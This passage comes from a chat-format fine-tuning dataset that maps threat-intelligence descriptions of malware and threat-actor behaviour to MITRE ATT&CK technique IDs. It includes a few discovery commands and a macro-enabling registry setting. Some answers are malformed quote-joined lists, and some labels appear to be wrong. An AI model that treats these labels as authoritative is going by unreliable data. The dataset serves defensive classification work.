                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer can establish persistence through the system screensaver by configuring it to execute the malware."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EnvyScout can Base64 encode payloads."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer can set values in the Registry to help in execution."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors used PowerShell to run a series of Base64-encoded commands that acted as a stager and enumerated hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The data field within the message is a string of custom base64 encoded data that the malware decodes using the same custom base64 routine mentioned earlier and decrypts it using AES and the pre-shared key"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1140 - Deobfuscate/Decode Files or Information', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Audio surveillance: The malware uses the NAudio library to interact with the microphone and manage the audio stream. The library is stored server-side and pushed to the victim’s machine using a special command. The bot will display the messages using a standard message box. The log includes the process name used by the victim, and keystrokes. The theft is performed by a specific component that enumerates credentials saved in various browsers. Process manager: The attacker can obtain a list of running processes and terminate these by using a specific button"
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WIRTE used documents deploying Visual Basic Script (VBS), potentially delivered through spear phishing, decoys with Arabic content, occasionally associated with Palestinian matters"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Learn more about our Personal Data Protection PolicyAccept Cookies . DeepMalwareAnalysis . Joe Security's Blog . TrickBot's new API-Hammering explained . Published on: 13.07.2020 As usual, at Joe Security, we keep a close eye on evasive malware. It turned out to be a new TrickBot sample using API hammering to bypass analysis. Two Stage API Hammering . Right after the entry point, the sample tries to load taskmgr.exe as a DLL: This is likely a trick to bypass emulators that do not check if a given DLL exists if LoadLibraryEx is called. Since before the loop FreeConsole has been called all printf calls do basically nothing: This code has been directly copied from the documentation of printf: So what is the purpose of those numerous printf loops. As a result, the massive amount of calls delay the execution process and overload the sandbox with junk data. This behavior is called API Hammering. API Hammering is not a new technique, we have already seen it several years ago e.g. Joe Sandbox detects the API hammering successfully and rates it as malicious: Right after the printf flood, the sample performs another loop to delay execution by creating and writing to a temporary file - the second stage. In between it performs random sleeps: Again, the purpose is to overload the sandbox and delay the execution. No matter what technology your favorite sandbox uses, it has to handle API Hammering correctly"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has leveraged malicious Word documents that abused DDE."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In cases where spam attachments could be verified — once a user has opened the attachment and enabled macro functionality — a PowerShell script downloads either Emotet, Bokbot or Trickbot, with the end payload being TrickBot"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then, they are using the process hollowing technique to hide the execution of these tools inside of the original Microsoft vbc.exe (VisualBasic Compiler) process"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has used uname -m to collect the name and information about the infected system's kernel."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Sharpshooter, threat actors leveraged embedded shellcode to inject a downloader into the memory of Word."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar. Zebrocy also runs the \"echo %APPDATA%\" command to list the contents of the directory. Zebrocy can obtain the current execution path as well as perform drive enumeration."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gather the names of all services running on the system. Gather a list of the names of all processes running on the endpoint. Gather the list of all files names listed in the Recent Items folder i.e. Appdata%\\Microsoft\\Windows\\Recent\". - Gather all names of files listed in the Desktop folder of the current user. Gather names of all files and programs listed in the Taskbar i.e. The instrumentor script also enables all macros for Office by setting the VBAWarnings registry value to 0x1 at: HKCU\\Software\\Microsoft\\Office\\&lt;OfficeVersionNumber&gt;.0\\Word\\Security\\VBAWarnings = 0x1"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has used PowerShell for execution and privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to gather the victim's proxy information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JCry has used PowerShell to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another payload of the Ecipekac loader, which we call SodaMaster (a.k.a DelfsCake), is also a new fileless malware. In our research we found more than 10 samples of SodaMaster. The only differences were in the configuration data, including a hardcoded C2, an encoded RSA key and additional data for calculating a mutex value"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More_eggs's payload has been encrypted with a key that has the hostname and processor family information appended to the end."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has created Windows services to execute encoded PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has collected information from Microsoft SharePoint services within target networks."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook has decoded its PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can capture clipboard content."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can remove persistence-related artifacts from the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While the most recent samples observed still use batch scripts and SFX files, the Gamaredon Group has moved away from applications like wget, Remote Manipulator Tool, VNC and ChkFlsh.exe. Instead of using wget the attackers are distributing custom developed downloaders, and instead of Remote Manipulator or VNC the malware is using a custom developed remote access implant"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum's loader can decrypt the backdoor code, embedded within the loader or within a legitimate PNG file. A custom XOR cipher or RC4 is used for decryption."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHARPSTATS has the ability to identify the domain of the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest obtains a list of running processes using the function \"kill_unwanted\"."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has sent spearphishing emails in an attempt to lure users to click on a malicious attachment."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire has the ability to collect emails on a target system."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors used Base64 to encode files with a custom key."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has used spam emails that contain a link that redirects the victim to download a malicious document."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can retrieve the victim’s username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IceApple can delete files and directories from targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been known to add created accounts to local admin groups to maintain elevated access."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 attacks can and inject code into processes and hijack the search order used to load DLL files."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi searches for files on the system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs the command: net start >> %TEMP%\\info.dat on a victim."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tools uploaded to the webshells range from legitimate applications such as cURL to post-exploitation tools such as Mimikatz. We also observed the actors uploading custom backdoors such as HyperBro which is commonly associated with Emissary Panda"
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool', 'T1027 - Obfuscated Files or Information', 'T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DRATzarus can obtain a list of users from an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"ZR\" variant of  will check to see if known host-based firewalls are installed on the infected systems.  will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Octopus can collect the username from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMatter remotely encrypts shares via SMB protocol and drops a ransomware note in each directory."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral Movement, Maintain Presence, and Complete Mission APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol (RDP), Secure Shell (SSH), PsExec, RemCom, and xCmdSvc"
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol', 'T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains the getInfoOSX function to return the OS X version as well as the current user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware gathers data from the local victim system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A variant of HOPLIGHT hooks lsass.exe, and lsass.exe then checks the Registry for the data value 'rdpproto' under the key \"SYSTEM\\CurrentControlSet\\Control\\Lsa Name\"."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed: gaining credential access into victim networks by using legitimate, but compromised credentials to access OWA servers, corporate login portals, and victim networks."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts', 'T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerStallion is a lightweight PowerShell backdoor using Microsoft OneDrive, a storage service in the cloud, as C&amp;C server"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use cmd.exe to launch itself and to execute multiple C2 commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can decrypt the payload into memory, create a new suspended process of itself, then inject a decrypted payload to the new process and resume new process execution."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used \"netstat -an\" on a victim to get a listing of network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When each file is encrypted, registry keys are created under HKU\\{SID}\\Software\\Microsoft\\ RestartManager \\ which are used to track metadata pertaining to the file being encrypted, such as owner, sequence, session and file hash"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LitePower has the ability to list local drives and enumerate the OS architecture."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has delivered macro-enabled documents that required targets to click the \"enable content\" button to execute the payload on the system."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HARDRAIN uses FakeTLS to communicate with its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The structure of each of these outbound DNS requests is as follows: <system ID>-<job ID>-<offset in data><more data flag>-<random length of base64 encoded data between 30 and 42 characters>.<c2 domain> The payload will look for different responses to these outbound queries depending on the type of DNS request that the payload uses to communicate with the C2"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It loads the module with parameter vShow set to zero, which opens the application with a hidden window.  Alternatively, if Avast is not installed on the machine, the malicious module loads using regsvr32.exe"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack can kill processes and delete services."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Imminent Monitor has encrypted the spearphish attachments to avoid detection from email gateways; the debugger also encrypts information before sending to the C2."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerDuke has a command to list the victim's processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However, if you DO get infected, you’ll want to delete the following registry keys (if they exist): HKLM/System/CurrentControlSet/Services/DirecastX ytasda jrqq HKLM/System/CurrentControlSet/Services/DirectX yta jsdrq HKLM/System/CurrentControlSet/Services/DirectX ytsda jrq Additionally, you’ll want to delete any copies of “svchost.exe” that you find in %Program Files (x86)%/DIFXE/, as these are the dropped copies of the malware"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can take a screenshot of the current desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prior to downloading secondary payloads, CSPY Downloader initiates an extensive series of checks to determine if it is being debugged or running in a virtual environment, by searching for specific virtualization-related loaded modules, the process PEB structure, various file paths, registry keys, and memory"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Commands such as \"net view\" can be used in Net to gather information about available remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee's service-based DLL implant traverses the FTP server’s directories looking for files with keyword matches for computer names or certain keywords."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat can uninstall itself from compromised hosts, as well create and modify directories, delete, move, copy, and rename files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
